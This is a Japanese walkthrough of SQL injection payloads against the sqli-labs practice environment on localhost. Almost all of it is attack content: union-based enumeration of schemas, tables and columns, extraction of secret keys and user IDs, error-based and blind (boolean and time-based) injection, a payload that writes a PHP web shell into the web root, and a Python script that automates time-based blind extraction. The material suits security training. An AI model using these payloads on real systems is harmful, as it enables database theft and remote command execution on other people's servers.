基本的なSQLインジェクション手法
URL: http://localhost/sqli-labs/Less-1/
テスト手順
- 正常なレスポンス(数値型インジェクションではない)
- エラーレスポンス(文字列型インジェクション)
- シングルクォートによる閉鎖
- カラム数特定(3カラム)
- 表示可能カラムの特定
- 全データベース取得
- テーブル一覧取得
- カラム名取得
- 認証情報抽出
http://localhost/sqli-labs/Less-1/?id=1
http://localhost/sqli-labs/Less-1/?id=1'
http://localhost/sqli-labs/Less-1/?id=1' or '1'='1
http://localhost/sqli-labs/Less-1/?id=1' order by 3--+
http://localhost/sqli-labs/Less-1/?id=1' order by 4--+
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,
(select group_concat(schema_name) from information_schema.schemata),3 --+
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,
(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,
(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,
(select group_concat(secret_key) from security.users),(select group_concat(user_id) from security.users) --+
異なる閉鎖手法の実例
数値型インジェクション
http://localhost/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3
シングルクォートと括弧
http://localhost/sqli-labs/Less-3/?id=1')
http://localhost/sqli-labs/Less-3/?id=1') --+
ダブルクォートと括弧
http://localhost/sqli-labs/Less-4/?id=1") --+
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+
エラーベースド手法
http://localhost/sqli-labs/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
FLOOR関数利用
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as x from information_schema.tables group by x --+
ファイル書き込み手法
http://localhost/sqli-labs/Less-7?id=1')) union select 1,2,'<?PHP system($_GET["cmd"])?>' into outfile "/var/www/html/shell.php" %23
ブラインドSQLインジェクション
論理ベース
http://localhost/sqli-labs/Less-8?id=1' and (ascii(substr((select database()),1,1)) = 115--+
時間ベース
http://localhost/sqli-labs/Less-9?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+
自動化スクリプト例
# ブラインドSQLインジェクション用スクリプト
import requests
import time
target_url = 'http://localhost/sqli-labs/Less-8/?id=1'
def test_payload(payload):
full_url = target_url + payload
start_time = time.time()
response = requests.get(full_url)
elapsed = time.time() - start_time
return elapsed > 5
result = ''
charset = 'abcdefghijklmnopqrstuvwxyz'
for position in range(1, 20):
for char in charset:
test_str = f"'and if(substr(database(),{position},1)='{char}',sleep(5),1)--+"
if test_payload(test_str):
result += char
break
print(f"Current result: {result}")